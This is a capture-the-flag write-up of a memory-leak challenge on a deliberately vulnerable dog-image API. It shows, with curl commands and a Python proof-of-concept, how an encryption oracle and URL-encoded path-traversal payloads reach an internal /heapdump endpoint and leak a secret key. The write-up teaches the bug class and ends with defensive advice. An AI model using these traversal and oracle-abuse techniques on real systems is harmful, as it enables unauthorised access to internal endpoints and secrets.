Recently, BugPoC had teamed up with @NahamSec and announced a memory leak challenge sponsored by Amazon on Twitter. The vulnerabilities presented in the challenge are rather realistic. In fact, I did encounter such vulnerabilities a couple of times while doing bug hunting on web applications! Besides presenting a walkthrough of the challenge in this write-up, I will also discuss alternative solutions and include some tips as well. Do read on if you are interested! :smile:

Introduction

The goal of the challenge is to find an insecurely insecurely stored Python variable called SECRET_API_KEY somewhere on the server – http://doggo.buggywebsite.com.

Let’s start by finding out more information about the challenge site provided.

$ dig doggo.buggywebsite.com +short any
doggo.buggywebsite.com.s3-website-us-west-2.amazonaws.com

It seems to be a Amazon S3 website. If the S3 bucket is misconfigured, we could possibly discover new information stored in the bucket, or even mess around with the files in the bucket. You can use a tool such as BucketScanner by @Rzepsky to check for common S3 bucket misconfigurations. Unfortunately, this bucket is not misconfigured, so let’s go back to the challenge site itself.

Visiting the challenge site at http://doggo.buggywebsite.com/, we can see a few images of dogs. Let’s examine the JavaScript file loaded (script.js) to better understand how the images are fetched dynamically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
const API_ENDPOINT = "https://doggo-api.buggywebsite.com";

async function getURLs(pageNum){
  var PARAMS = {
    1: "gAAAAABgGg49vp03MkS2gsuz1SLZat7_z36Nkc4I-25X4-RtxXd_pxv964ObmIgunslqWO47kWxCWUSdZVCSlgqGnTi7ekqEaA==",
    2: "gAAAAABgGg5OwIOIQGgUJSF_iuwDa8XcB8im0v3l7S-cwZgkufRFsfb5EL4Dawc3ZA_xwyG8BkbIkMnFrl6ACVGzmd_9adDMfA==",
    3: "gAAAAABgGg5dGZ3R5ZHcBV3A4L2QM3-LMxsmbLFTSXWmBiXTa9BgAN8ZhmDQDONVaf7VT_s1CMK-uL8huNQy1wwfQovk1t7Jfw==",
    4: "gAAAAABgGg5u4W_yBC5YgusPCtmKOtxQYAgo161YK_Njo67ZLo6fGm6nyKwRIQ8divqkUL2mymw2fxeKF_BenpqSo79KuMj6JQ=="
  };
  var param = PARAMS[pageNum];
  var endpoint = API_ENDPOINT + '/get-dogs';

  let response = await fetch(endpoint, {
    headers: {
      'x-param': param,
      'x-fingerprint': localStorage.fingerprint,
    }
  });
  let data = await response.json()
  return data['body'];

}

function addImages(urls){
  var div = document.getElementById('images-div');
  div.innerHTML = '';
  for (var i = 0; i < urls.length; i++){
    var img = document.createElement('img');
    img.setAttribute('class', 'pretty-img');
    img.setAttribute('src', urls[i]);
    div.appendChild(img)
    div.appendChild(document.createElement('br'))
  }
}

function loadPage(pageNum){
  document.querySelector('#theLoader').style.display='inline';
  var buttons = document.getElementsByClassName('page-button');
  for (var i = 0; i < buttons.length; i++){
    buttons[i].disabled = false;
  }
  getURLs(pageNum).then(urls => {
    addImages(JSON.parse(urls));
    document.getElementById('button-'+pageNum).disabled = true;
    document.querySelector('#theLoader').style.display='none';
  })
}

async function setFingerprint(){
  if (localStorage.fingerprint == undefined) {
    document.querySelector('#theLoader').style.display='inline';
    var endpoint = API_ENDPOINT + '/fingerprint';
    let response = await fetch(endpoint);
    let data = await response.json()
    localStorage.fingerprint = data['fingerprint'];
  }
}

function initPage(){
  setFingerprint().then(_ => {
    loadPage(1);
  })
}

It seems that there is an API server at https://doggo-api.buggywebsite.com. This API server should be the actual target since the goal is to achieve some form of memory leakage, which we can’t really achieve on http://doggo.buggywebsite.com (a static website hosted on a S3 bucket).

Also, two endpoints can also be observed from the JavaScript code, namely:

  • /get-dogs– an endpoint accepting an encrypted x-param header value and loading different pages of dogs
  • /fingerprint – an endpoint used to obtain some value for fingerprinting the current user.

You may have also noticed that there are four Base-64 encoded strings starting with gAAAAAB. Decoding it yields binary data, indicating that the value may have been encrypted prior to being encoded. Doing a quick search on this substring reveals that this is likely to be using Fernet, an symmetric encryption module commonly used in building Python applications.

Since we do not know the secret key used to create the ciphertext, we cannot decrypt the ciphertext ourselves. There aren’t any relevant known weaknesses in Fernet that allows us to encrypt/decrypt text as well, so let’s just keep these information in mind and move on to examine the other information we just gathered.

/get-dogs Endpoint

Tracing the JavaScript code, we can see whenever a page is requested, a fingerprint value is first obtained from /fingerprint followed by requesting the list of images to load by querying the /get-dogs endpoint with the respective Base-64 encrypted value.

Let’s try to replicate this behaviour to better understand the application flow. We start by obtaining a valid fingerprint value:

$ curl -s -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkm96w1MoKBnTslSzxiHX3VgcK-9j5ETD41Z0Q7zUm-gMCkNUdrJdg10n6l0SKxtmos5CrN4kkYACudYKcx_OGW3eezJ6ScQ3DHx_Sxr9kMavb5NTDKDO57iQPxNwu3DJGw_Sh1uok3McF-rEjTwd9ybzDbWfyFYYS9Ka-Gq6uAzHiNl9Z9sujy5XFUBoAcmEfoatp_Tl3LHCBv7Dbn0Et5YqPe5gxbRlDkvjqyw73nOJD7k=

Then, we attempt to request the dog images for all four Base-64 encoded strings we discovered earlier on.

$ echo 'gAAAAABgGg49vp03MkS2gsuz1SLZat7_z36Nkc4I-25X4-RtxXd_pxv964ObmIgunslqWO47kWxCWUSdZVCSlgqGnTi7ekqEaA==' > 1.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 1.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=1", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog1.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog2.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog3.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog4.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog5.jpg\"]"}

$ echo 'gAAAAABgGg5OwIOIQGgUJSF_iuwDa8XcB8im0v3l7S-cwZgkufRFsfb5EL4Dawc3ZA_xwyG8BkbIkMnFrl6ACVGzmd_9adDMfA==' > 2.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 2.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=2", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog6.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog7.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog8.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog9.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog10.jpg\"]"}

$ echo 'gAAAAABgGg5dGZ3R5ZHcBV3A4L2QM3-LMxsmbLFTSXWmBiXTa9BgAN8ZhmDQDONVaf7VT_s1CMK-uL8huNQy1wwfQovk1t7Jfw==' > 3.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 3.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=3", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog11.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog12.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog13.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog14.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog15.jpg\"]"}

$ echo 'gAAAAABgGg5u4W_yBC5YgusPCtmKOtxQYAgo161YK_Njo67ZLo6fGm6nyKwRIQ8divqkUL2mymw2fxeKF_BenpqSo79KuMj6JQ==' > 4.b64
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat 4.b64)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs?page=4", "statusCode": 200, "body": "[\"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog16.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog17.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog18.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog19.jpg\", \"https://buggy-dog-pics.s3-us-west-2.amazonaws.com/dog20.jpg\"]"}

Notice that the paths in the responses are largely similar. From our above testing, we can infer that the encrypted value likely contains /dogs?page=1, or perhaps simply ?page=1. Besides that, we also have two new discoveries:

  1. We now know that there is yet another endpoint on this API server – /dogs
  2. We found another S3 bucket at buggy-dog-pics.s3-us-west-2.amazonaws.com (spoiler: nothing much here, really :joy:)

Internal Endpoints

Let’s try to access the /dogs endpoint directly:

$ curl https://doggo-api.buggywebsite.com/dogs
Error, this endpoint is only internally accessible

It seems like this is an endpoint accessible via the internal network only. It’s worth nothing that we could fiddle around with headers such as X-Forwarded-For: 127.0.0.1 to trick the application into thinking that we are making the request from an internal network and be able to access the endpoint, but in this case the server isn’t vulnerable to such attacks.

Let’s move on to fuzz for other endpoints and see what we can do with them:

$ ffuf -u 'https://doggo-api.buggywebsite.com/FUZZ' -w ./SecLists/Discovery/Web-Content/quickhits.txt

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v1.3.1
________________________________________________

 :: Method           : GET
 :: URL              : https://doggo-api.buggywebsite.com/FUZZ
 :: Wordlist         : FUZZ: ./SecLists/Discovery/Web-Content/quickhits.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403
________________________________________________

/heapdump               [Status: 401, Size: 50, Words: 7, Lines: 1]

Looks suspicious. Let’s check the response of the /heapdump endpoint:

$ curl https://doggo-api.buggywebsite.com/heapdump
Error, this endpoint is only internally accessible

We discovered another internal endpoint! But now what? What else can we do? :thinking:

Encryption & Decryption Oracles

Recall that earlier, we had to generate a fingerprint before using the /get-dogs endpoint to fetch the respective page of dog images. Let’s take a closer look at the endpoint request and response again carefully:

$ curl -s -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkm96w1MoKBnTslSzxiHX3VgcK-9j5ETD41Z0Q7zUm-gMCkNUdrJdg10n6l0SKxtmos5CrN4kkYACudYKcx_OGW3eezJ6ScQ3DHx_Sxr9kMavb5NTDKDO57iQPxNwu3DJGw_Sh1uok3McF-rEjTwd9ybzDbWfyFYYS9Ka-Gq6uAzHiNl9Z9sujy5XFUBoAcmEfoatp_Tl3LHCBv7Dbn0Et5YqPe5gxbRlDkvjqyw73nOJD7k=

Notice that the fingerprint returned in the JSON response starts with gAAAAAB too, indicating that the string may very well be a ciphertext produced using Fernet! What if we try to supply this fingerprint value as the x-param header value instead of one of the four pre-defined Base-64 strings?

$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

Interesting! It looks like we are able to successfully decrypt the fingerprint value. This indicates that the encryption key used for generating the four hardcoded Base-64 strings in the JavaScript file is also the same for generating the encrypted fingerprint value.

We can infer the following from the above output:

  • The fingerprint contains a serialised JSON object: {"UA": request.headers["User-Agent"]}.
  • The /get-dogs endpoint creates an URL to be fetched on the server-side by concatenating the protocol (e.g. http://), backend host (e.g. localhost), port (e.g. 80), the string /dogs, and the decrypted x-param header value. In other words, the server-side request URL is formed using: 'http://localhost:80/dogs' + decrypt(request.headers['x-param']).

In addition, we now know that we have a encryption oracle (using /fingerprint endpoint with a custom User-Agent header value) and a decryption oracle (using /get-dogs endpoint with a custom x-param header value containing the ciphertext). These provides us powerful primitives – we can create valid ciphertexts for our chosen plaintext (although with some data prepended/appended due to JSON serialisation) and use the generated ciphertexts to tamper with the request path in the server-side request!

Getting to the /heapdump

Let’s take a closer look at how we can tamper with the request path:

$ curl -s -H 'User-Agent: TEST' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgku7UVOl_To_pUd7J1qzYfOJvbEhVqpa_7DN_7m5YZI0np1jfXoVzWSRROrWQy4bxWuYylza3pUMZffRv5DZ2DPQZsA==
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"TEST\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

Since we can’t modify the prepended /dogs string, the server-side request will always use a relative path beginning with /dogs. What we can do is to perform a path traversal attack to access another endpoint besides /dogs as such:

  • Set User-Agent header value to /../heapdump#
  • This results in the URL to be requested to be something like: http://localhost/dogs{"UA": "/../heapdump#"}, which may be normalised by the webserver to be: http://localhost/heapdump.

Note: Since the hash fragment is not actually a part of a URL, it (usually) isn’t sent to the server. Most webservers also ignore the hash fragment, so we can effectively get rid of the trailing "} produced by the JSON serialisation. You could also use ? to force the trailing "} to be treated as a query string parameter, but some applications may not like that :)

Let’s try out the attack idea:

$ curl -s -H 'User-Agent: /../heapdump#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkvSr7zNtRXxDO14Y37625vSYXQ9Ma8YwdxnEuWyV9cxCVzprPIl60ped_DSlpq2l2QKuAXbbSvRu479zVF97tMj4A-W8IEu5I6qpruHDf2w8Bm8
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/heapdump#\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

It seems like ../ is being stripped from the request path. There’s actually two bypasses for it.

The first solution is that because ../ is only stripped once globally and not done recursively, supplying ..././ will end up being ../, which is exactly what we wanted!

The second solution is to use a URL-encoded path traversal payloads such as ..%2f, .%2e/, %2e%2e%2f instead of ../. This works because the most webservers URL-decodes the request path before routing it to the application. We can easily verify this behaviour is indeed existent:

$ curl https://doggo-api.buggywebsite.com/fingerprint/..%2fdogs
Error, this endpoint is only internally accessible

Clearly, we ended up getting routed to the /dogs internal endpoint instead of the publicly-accessible /fingerprint endpoint, proving that this is indeed working.

Now, let’s go get the flag!

$ curl -s -H 'User-Agent: /..%2fheapdump#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkvWY5SmGJUpySKZn2AjGP27q41C6DKljy3Xkg08fQZfvnvSCbAse2k_Dmx_JaVKN-QaOzgSQq2Nz_pIpDTUYMdhbdd_kjH9q1d1llgnKoECvB7o=
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/..%2fheapdump#\"}", "statusCode": 200, "body": "\"name,size,value;__name__,57,lambda_function;__doc__,56,None;__package__,60,;__loader__,59,<_frozen_importlib_external.SourceFileLoader object at 0x7f9e042319a0>;__spec__,57,ModuleSpec(name='lambda_function', loader=<_frozen_importlib_external.SourceFileLoader object at 0x7f9e042319a0>, origin='/var/task/lambda_function.py');__file__,57,/var/task/lambda_function.py;__cached__,59,/var/task/__pycache__/lambda_function.cpython-38.pyc;__builtins__,61,{'__name__': 'builtins', '__doc__': \\\"Built-in functions, exceptions, and other objects.\\\\n\\\\nNoteworthy: None is the `nil' object; Ellipsis represents `...' in slices.\\\", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'Exception': <class 'Exception'>, 'TypeError': <class 'TypeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'GeneratorExit': <class 'GeneratorExit'>, 'SystemExit': <class 'SystemExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'ImportError': <class 'ImportError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'OSError': <class 'OSError'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'EOFError': <class 'EOFError'>, 'RuntimeError': <class 'RuntimeError'>, 'RecursionError': <class 'RecursionError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'NameError': <class 'NameError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'AttributeError': <class 'AttributeError'>, 'SyntaxError': <class 'SyntaxError'>, 'IndentationError': <class 'IndentationError'>, 'TabError': <class 'TabError'>, 'LookupError': <class 'LookupError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ValueError': <class 'ValueError'>, 'UnicodeError': <class 'UnicodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'AssertionError': <class 'AssertionError'>, 'ArithmeticError': <class 'ArithmeticError'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'SystemError': <class 'SystemError'>, 'ReferenceError': <class 'ReferenceError'>, 'MemoryError': <class 'MemoryError'>, 'BufferError': <class 'BufferError'>, 'Warning': <class 'Warning'>, 'UserWarning': <class 'UserWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'BytesWarning': <class 'BytesWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'ConnectionError': <class 'ConnectionError'>, 'BlockingIOError': <class 'BlockingIOError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'InterruptedError': <class 'InterruptedError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2021 Python Software Foundation.\\nAll Rights Reserved.\\n\\nCopyright (c) 2000 BeOpen.com.\\nAll Rights Reserved.\\n\\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\\nAll Rights Reserved.\\n\\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\\nAll Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands\\n    for supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.};json,53,<module 'json' from '/var/lang/lib/python3.8/json/__init__.py'>;sys,52,<module 'sys' (built-in)>;SECRET_API_KEY,63,flag{gr8_job_h@cker};get_memory,59,<function get_memory at 0x7f9e03fb1160>;verify_internal_request,72,<function verify_internal_request at 0x7f9e03fb1280>;lambda_handler,63,<function lambda_handler at 0x7f9e03fb1310>;\""}

Near the end of the heap dump, we see the flag :)

Solution

To summarise, the following observations and steps were led us to the flag:

  1. There is an internal endpoint (found through fuzzing) at /heapdump that dumps memory, including SECRET_API_KEY variable which contains the flag.
  2. The publicly-accessible /get-dogs endpoint appends the decrypted x-param header value in the requested path as such: '/dogs' + decrypt(request.headers['x-param']).
  3. The publicly-accessible /fingerprint endpoint generates the encrypted value of: {"UA": request.headers["User-Agent"]}, which gives rise to an encryption oracle.
  4. Although the /get-dogs endpoint has some prevention against path traversal (e.g. stripping ../ from the request path), it is still possible to achieve path traversal using URL-encoding / to %2f.
  5. Leveraging /fingerprint endpoint to generate the encrypted value of a path traversal payload, and supplying the generated fingerprint as the x-param header in the /get-dogs endpoint allows us to access the internal /heapdump endpoint and leak the flag.

For a valid solution submission, participants need to submit a proof-of-concept (PoC) hosted on BugPoC.
For simplicity, I opted to use their Python PoC to demonstrate the attack chain:

#!/usr/bin/env python3
import re
import requests

def main():
  endpoint = '/heapdump'
  path_traversal_payload = ('/..' + endpoint + '#').replace('/', '%2f')
  encrypted = requests.get('https://doggo-api.buggywebsite.com/fingerprint', headers={'User-Agent': path_traversal_payload}).json()['fingerprint']
  r = requests.get('https://doggo-api.buggywebsite.com/get-dogs', headers={'x-param': encrypted, 'x-fingerprint': 'a'})
  flag = re.search('SECRET_API_KEY[^;]+', r.text).group().split(',')
  flag[1] = ': '
  return ''.join(flag)

Running the proof-of-concept code using BugPoC’s Python PoC returns the following response containing the flag:

SECRET_API_KEY: flag{gr8_job_h@cker}

Memory Leak Proof-of-Concept

Challenge solved! :tada:

Closing Thoughts & Tips

As you might have noted by now, it is never a good idea to re-use the same encryption key for multiple purposes. An attacker who has access to encryption/decryption oracle can potentially trigger unintentional behaviours (as well-demonstrated in this challenge). There were a couple of times I observed the re-use of JWT signing key for both production and staging servers, which can be leveraged to achieve account takeover on the production server! :wink:

There are also a few tricks we can use to perform better testing, which I did not mention in the write-up for brevity. Firstly, we were hunting endpoints from an external perspective. In addition to fuzzing endpoints from an external perspective, the path traversal bug in the server-side request to discover endpoints should also be leveraged to fuzz from the internal perspective.

Next, the path traversal payload (i.e. ..%2f) was specifically targeting the webserver’s URL path normalisation behaviour. Do note that there is no guarantee that it will work in real life, because we can’t know for sure which webserver is actually being used on the backend! There could be multiple reverse proxies used, or there could be none at all – it all depends, and we can only enumerate and do a bit of guessing-and-checking to confirm our suspicions!

Another thing we could have done is to leverage the /fingerprint endpoint to identify how the request is being fetched by the application:

$ curl -s -H 'User-Agent: /..%2ffingerprint#' https://doggo-api.buggywebsite.com/fingerprint | jq -r .fingerprint | tee fingerprint.txt
gAAAAABgkv0VCFdQy6oMxc1yJDY2WYHSKloG6Ik-OXHQ4Bw9CjgmAiO9j71e8rP_mJ0MM989mlsUiAlZaoPwsHr7vBd8a-E3tteAm4j4XJ1ASyXYJULa5-Y=
$ curl -H "x-fingerprint: $(cat fingerprint.txt)" -H "x-param: $(cat fingerprint.txt)" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"/..%2ffingerprint#\"}", "statusCode": 200, "body": "{\"fingerprint\": \"gAAAAABgkv0bO6yEXGQL8R9ddHZiEQe4Twv6-3ASNLhIZmWPSLXl833cuoiE_JrcIHgEBa54X5cWiqpoHvVT_GQBqkdPFXwOviKnz5BWdcEReMrlMI0sH672s2Hf_3Gxy1xUpJQwEAKU\"}"}
$ curl -H "x-fingerprint: actually this value isn't validated" -H "x-param: gAAAAABgkv0bO6yEXGQL8R9ddHZiEQe4Twv6-3ASNLhIZmWPSLXl833cuoiE_JrcIHgEBa54X5cWiqpoHvVT_GQBqkdPFXwOviKnz5BWdcEReMrlMI0sH672s2Hf_3Gxy1xUpJQwEAKU" https://doggo-api.buggywebsite.com/get-dogs
{"path": "/dogs{\"UA\": \"python-requests/2.22.0\"}", "statusCode": 404, "body": "{\"message\":\"Not Found\"}"}

From the User-Agent string, we can infer that the URL is likely to be fetched using Requests Python library on the sever-side. We could also possibly examine and target a specific behaviour of the HTTP client used in our attack as well. For instance, did you know that urllib accepts “wrapped” URLs? Check out this writeup by @Gladiator to see how this behaviour was being used to bypass a WAF in a CTF challenge!

I hope you enjoyed the write-up. :smiley:
Thanks BugPoC/@NahamSec for the fun challenge!